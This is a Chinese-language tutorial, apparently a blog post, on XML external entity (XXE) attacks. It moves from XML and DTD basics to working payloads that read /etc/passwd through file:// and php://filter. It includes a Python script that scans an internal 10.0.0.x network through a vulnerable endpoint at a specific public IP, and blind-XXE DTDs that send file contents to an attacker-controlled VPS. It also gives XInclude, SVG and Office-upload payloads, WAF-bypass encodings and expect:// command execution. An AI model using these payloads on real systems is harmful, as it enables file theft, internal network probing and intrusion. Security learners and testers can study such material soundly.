XXE漏洞

xml

XML是一种用于存储和传输数据 的语言。与HTML一样,XML使用树状的标签和数据结构。与HTML不同的是XML不使用预定义标签而是使用自定义的标签,因此可以为标签指定描述数据的名称。

类似json传输???

XML基本格式与基本语法

基本格式:

xml 复制代码
<?xml version="1.0" encoding="UTF-8" standalone="yes"?><!--xml文件的声明-->
<bookstore>                                                 <!--根元素-->
<book category="COOKING">        <!--bookstore的子元素,category为属性-->
<title>Everyday Italian</title>           <!--book的子元素,lang为属性-->
<author>Giada De Laurentiis</author>                  <!--book的子元素-->
<year>2005</year>                                     <!--book的子元素-->
<price>30.00</price>                                  <!--book的子元素-->
</book>                                                 <!--book的结束-->
</bookstore>                                       <!--bookstore的结束-->

<?xml version="1.0" encoding="UTF-8" standalone="yes"?> 称为 XML prolog ,用于声明XML文档的版本和编码,是可选的,必须放在文档开头。

XML的文档结构包含XML声明、DTD文档类型定义、文档元素

DTD文件类型定义

定义xml文档的结构和合法元素属性

xml 复制代码
<!--定义文档的根元素是test-->
<!DOCTYPE test	
[
        <!--定义test元素必须包含以下元素:"name、age、direction"-->
		<!ELEMENT test (name,age,direction)>
        <!--将name元素定义为"#PCDATA"类型-->
        <!--#PCDATA表示可解析字符数据-->
		<!ELEMENT name (#PCDATA)>
        <!--将age元素定义为"#PCDATA"类型-->
		<!ELEMENT age (#PCDATA)>
        <!--将direction元素定义为"#PCDATA"类型-->
		<!ELEMENT direction (#PCDATA)>
]>

DTD可以在XML文档内部声明,也可以外部引用。

xml 复制代码
<!--内部声明DTD-->
<!DOCTYPE 根元素 [元素声明]>
<!--外部引用DTD-->
<!DOCTYPE 根元素 SYSTEM "文件名">
<!--外部引用公共DTD-->
<!DOCTYPE 根元素 PUBLIC "public_ID" "文件名">

注意:

SYSTEM的作用是告诉解析器,后面跟的是一个系统路径/URL,让 XML 解析器去加载这个外部文件

XML实体

标准实体

作用:
XML的五种标准实体:

'是一个撇号:'

&是一个与字符:&

"是一个引号:"

<是一个小于号:<

>是一个大于号:>

当这五个元字符 出现在数据中时,通常必须使用它们的实体来表示。

自定义实体

XML 允许在 DTD 中定义自定义实体(有点像自定义变量哈)。

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
    <!ENTITY Yv "Yv_30">
]>
<test>
    <message>&Yv;</message>
</test>

<!DOCTYPE test [ <!ENTITY Yv "Yv_30"> ]>

定义一个名为Yv的实体
<test> <message>&Yv;</message> </test>

引用名为Yv的实体

XXE注入

XXE文件读取

基本思路:

1.找到注入点

2.找到回显位置

xml 复制代码
#file协议
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY Yv SYSTEM "file:///etc/passwd">]>
<test>&Yv;</test>
#PHP伪协议
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [<!ENTITY Yv SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/passwd">]>
<test>&Yv;</test>
环境 支持的典型协议 备注
PHP (libxml2) file://, http://, ftp://, php://filter, php://input, data:// php:// 系列是 PHP 特有的扩展。
Java (Xerces/JDK) file://, http://, https://, ftp://, jar://, netdoc:// jar:// 可用于临时文件落地。
.NET file://, http://, https://, ftp:// 支持 UNC 路径(\\server\share),但不支持 smb://
Python (lxml/defusedxml) file://, http://, ftp:// lxml 底层是 libxml2,与 PHP 类似,但没有 php:// wrapper。

XXE执行SSRF攻击

原理:通过利用远程引用外部实体

HTTP内网主机探测

内网扫描脚本

逻辑:

py 复制代码
import requests
import base64
import re

def build_xml(uri):
    xml = f'''<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE test [
    <!ENTITY Yv SYSTEM "{uri}">
]>
<xml>
    <stuff>&Yv;</stuff>
</xml>'''
    return xml

def send_xml(uri):
    headers = {'Content-Type': 'application/xml'}
    try:
        r = requests.post(
            #被攻击者地址(即跳板)
            'http://34.200.157.128/xxe.php',
            data=build_xml(uri),
            headers=headers,
            timeout=3
        )
        # 用正则提取 Base64:至少 20 个字符,标准 Base64 字符集
        b64_list = re.findall(r'[A-Za-z0-9+/=]{20,}', r.text)
        for b64 in b64_list:
            try:
                decoded = base64.b64decode(b64).decode('utf-8', errors='ignore')
                if '<html' in decoded or '<!DOCTYPE' in decoded:
                    print(f"[+] {uri} -> 发现内网Web页面")
                    print(decoded[:500])  # 只打印前500字符
                    return
            except:
                continue
        print(f"[-] {uri} -> 无有效回显")
    except Exception as e:
        print(f"[x] {uri} -> 异常: {e}")

# 扫描内网 10.0.0.1-254 的 80 和 8080 端口
for i in range(1, 255):
    for port in [80, 8080, 8000]:
        ip = f'10.0.0.{i}'
        uri = f'php://filter/convert.base64-encode/resource=http://{ip}:{port}/'
        send_xml(uri)

HTTP内网主机端口扫描

xml 复制代码
<?xml version="1.0" encoding="utf-8"?>  
<!DOCTYPE data SYSTEM "http://x.x.x.x:515/" [  
<!ELEMENT data (#PCDATA)>  
]>
<data>4</data>

用bp抓包,爆破端口。通过响应的时间的长短判断该该端口是否开放的。(读取文件需要时间)

为什么是端口 515 ?

515 是经典 LPD(Line Printer Daemon) 打印服务端口。

Blind XXE(无回显XXE)

原理:

开放远程服务器(你可控的服务器)的端口,根据payload执行远程包含,远程包含远程服务器的dtd文件,根据dtd规则返回内容存入get参数(可以直接接到url里面),用含有get参数的url访问远程服务器,监听得到所需信息。
过程:

在自己的vps上创建一个shell.dtd,并且开放2201端口

xml 复制代码
<!ENTITY % file SYSTEM "file:///flag">
<!ENTITY % int "<!ENTITY &#37; send SYSTEM 'http://127.0.0.1:2201/?flag=%file ;'>">
%int;
%send;

注意这里的&#37;非常重要,保证第一次解析不被当作%,引用%int;后第二次正常当作%解析,定义send参数实体

上传payload:

xml 复制代码
<!DOCTYPE root [ 
    <!ENTITY % remote SYSTEM "http://<VPS_IP>:2201/shell.dtd">
    %remote;
]>

注意:

普通实体:&实体名; --- 在XML文档内容中使用

参数实体:%实体名; --- 只能在DTD中使用,用于拼接DTD内容

目标类型 可达性 典型Payload示例 前提条件
公网/外网 ✅ 100%可达 http://attacker.com:2201/shell.dtd 目标服务器允许出站HTTP
域名地址 ✅ 可达 http://vps.yourdomain.com/shell.dtd DNS解析正常,出站未禁
内网地址 ✅ 通常可达 http://192.168.1.100/shell.dtd 目标服务器位于该内网
局域网/同WiFi ✅ 可达 http://10.0.0.5/shell.dtd 目标与你在同一二层/三层网络
本地回环 ✅ 可达 http://127.0.0.1:8080/shell.dtd 目标本机有监听服务
其他内网网段 ✅ 可探测 http://10.0.0.1/shell.dtd 目标服务器能路由到该网段

XInclude XXE()

原理:

很多应用为了防御 XXE,会禁用 DOCTYPE 解析(如 libxml_disable_entity_loader(true) 或设置 FEATURE_DISALLOW_DOCTYPE_DECL)。

此时标准 XXE 完全失效------因为没有 DOCTYPE,就无法声明外部实体。

但 XInclude 是独立的 XML 处理步骤,不依赖 DOCTYPE,因此成为绕过 DOCTYPE 禁用的利器。
攻击过程:

攻击者构造含 XInclude 的 XML

目标应用接收 XML(如 SVG 上传、API 请求、配置导入)

XML 解析器处理文档(DOCTYPE 被禁用,标准 XXE 无效)

XInclude 处理器独立运行,解析 xi:include 标签
href="file:///flag" → 读取本地敏感文件

文件内容被嵌入到 XML 响应中(有回显)或通过报错泄露(无回显)
注意:

href 支持 file/http/ftp 等
payload:

xml 复制代码
<root xmlns:xi="http://www.w3.org/2001/XInclude">
    <xi:include href="file:///etc/passwd" parse="text"/>
</root>

文件上传 XXE

关键认知:

很多看似"非 XML"的文件格式,底层本质是 ZIP + XML,或者本身就是 XML 文本

比如办公文档格式(如DOCX)和图像格式(如 SVG)
.docx后缀的文件直接改为.zip后缀可以直接解压

当服务器接收这些文件后,往往会进行解析处理:

提取文件元数据(标题、作者、尺寸)

生成缩略图/预览(SVG 转 PNG、Office 转 PDF)

内容检索与索引(提取文本内容)

格式校验与清洗

这些操作都会调用 XML 解析器,如果解析器配置不当,就会触发 XXE。

文件类型 底层格式 解析场景 XXE 利用难度
SVG 纯 XML 头像/图片预览、缩略图生成 极易
DOCX ZIP + XML 文档预览、内容提取、转 PDF 容易
XLSX ZIP + XML Excel 导入、数据解析 容易
PPTX ZIP + XML PPT 预览、缩略图 容易
ODT/ODS ZIP + XML OpenOffice 文档处理 容易
PDF 可含 XFA/XML 表单解析、元数据提取 中等
RSS/Atom 纯 XML RSS 聚合、Feed 导入 极易
XML 配置 纯 XML 配置导入、数据迁移 极易

SVG文件上传

SVG 文件广泛应用于设计

SVG文件的根元素是
,用于定义图形的宽度、高度和视图框。

常见payload:

xml 复制代码
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE test [
<!ENTITY Yv SYSTEM "要读取的文件路径" >
]>
<svg height="100" width="1000">
  		<text x="10" y="20">&Yv;</text>
</svg>

办公文档上传(DOCX / XLSX / PPTX)

读取原理:https://developer.aliyun.com/article/1321316

读取word内容

用.xlsx文件演示

在文件中的[Content-Types].xml中写入测试payload:

复制代码
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY Yv SYSTEM "http://<VPS_IP>:2201/" >]>
<test>&Yv;</test>

在自己vps开启监听端口2201,然后上传excel文件,如果接收到请求了说明存在漏洞。

接着在[Content-Types].xml写入Blind XXE的payload再次上传,就可以在vps上看到执行的payload了。

修改POST上传内容类型 XXE

表单格式 test=Yv

XML 格式 Yv

两个数据结构里,核心数据单元都是 test 节点 / 参数 + 值 Yv。后端如果强制用 XML 解析器去解析所有请求体:

碰到表单字符串:容错 / 兼容解析,提取到 test=Yv

碰到标准 XML:正常解析节点,拿到同样内容

如果没有验证Content-Type则最终处理逻辑完全相同,响应就会一模一样。

复制代码
POST / HTTP/1.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 9

test=Yv

POST / HTTP/1.0
Content-Type: text/xml
Content-Length: 53

<?xml version="1.0" encoding="UTF-8"?><test>Yv</test>

XXE攻击的绕过

空格绕过

原理:XML 允许<?xml、<!DOCTYPE中插入任意空白,部分 WAF 只检查头部短特征,超长空格可冲散特征串

示例:

xml 复制代码
<?xml     version="1.0"?>
<!DOCTYPE     test [<!ENTITY xxe SYSTEM "file:///etc/passwd">]>
<test>&xxe;</test>

链接到未知实体

比较成熟的WAF设置通常不会读取链接文件的内容。这种策略通常是有意义的,否则,WAF本身也可能成为攻击的目标。问题是,外部资源的链接不仅可以存在于文档的第三部分(正文),还可以存在于声明<! DOCTYPE>中 。

这意味着未读取文件内容的WAF将不会读取文档中实体的声明。而指向未知实体的链接又会阻止XML解析器导致错误。

xml 复制代码
<?xml version="1.0"?>
<!DOCTYPE test [
<!ENTITY % load SYSTEM "http://attacker/mal.dtd">
%load;
]>
<test>&attack;</test>

外来编码(Exotic encodings)

除了前面提到的xml文档的三个部分之外,还有位于它们之上的第四个部分,它们控制文档的编码(例如<?xml?>)------文档的第一个字节带有可选的BOM(字节顺序标记)。

更多信息:https://www.w3.org/TR/xml/#sec-guessing

一个xml文档不仅可以用UTF-8编码,也可以用UTF-16(两个变体 - BE和LE)、UTF-32(四个变体 - BE、LE、2143、3412)和EBCDIC编码。

在这种编码的帮助下,使用正则表达式可以很容易地绕过WAF,因为在这种类型的WAF中,正则表达式通常仅配置为单字符集。

外来编码也可用于绕过成熟的WAF,因为它们并不总是能够处理上面列出的所有编码。例如,libxml2解析器只支持一种类型的utf-32 - utf-32BE,特别是不支持BOM。

双重实体编码绕过

payload:

xml 复制代码
<?xml version="1.0"?>
<!DOCTYPE test [<!ENTITY % xml "&#60;&#33;&#69;&#78;&#84;&#73;&#84;&#89;&#32;&#116;&#103;&#108;&#117;&#32;&#83;&#89;&#83;&#84;&#69;&#77;&#32;&#34;&#102;&#105;&#108;&#101;&#58;&#47;&#47;&#47;&#101;&#116;&#99;&#47;&#112;&#97;&#115;&#115;&#119;&#100;&#34;&#32;&#62;&#93;&#62;&#10;&#60;&#116;&#101;&#115;&#116;&#62;&#10;&#32;&#32;&#32;&#32;&#32;&#32;&#60;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#38;&#116;&#103;&#108;&#117;&#59;&#60;&#47;&#109;&#101;&#115;&#115;&#97;&#103;&#101;&#62;&#10;&#60;&#47;&#116;&#101;&#115;&#116;&#62;">
%xml;

执行系统命令

在安装expect扩展的PHP环境里执行系统命令,其他协议也有可能可以执行系统命令。
<?xml version="1.0" encoding="utf-8"?> <!ENTITY xxe SYSTEM "expect://id" >]> &xxe; 通过XXE可以实现RCE的实例很少。

相关推荐
苦瓜花2 小时前
【Android】活动
android
小脑斧1238 小时前
安卓专属|青禾去水印 APP 免费无广告 多媒体素材处理工具
android
菜鸟国国9 小时前
一步到位学 Compose + Paging3:从 0 到 1 实现分页加载(超详细新手教程)
android
TO_ZRG9 小时前
Android Service基础
android
ECT-OS-JiuHuaShan11 小时前
功夫不负匠心人,渡劫代谢舞沧桑
android·开发语言·人工智能·算法·机器学习·kotlin·拓扑学
ZC跨境爬虫12 小时前
移动端爬虫工具Fiddler完整配置流程:PC+安卓模拟器全覆盖,零基础一次配置成功
android·前端·爬虫·测试工具·fiddler
巴德鸟12 小时前
DaVinci 常用技巧 关键帧 自动字幕 追踪 音频 冻结帧 快捷键 多轨道字幕 扩充边缘
android·编辑器·音视频·视频·davinci·davin
学习使我健康13 小时前
Android 广播介绍详情
android·开发语言·kotlin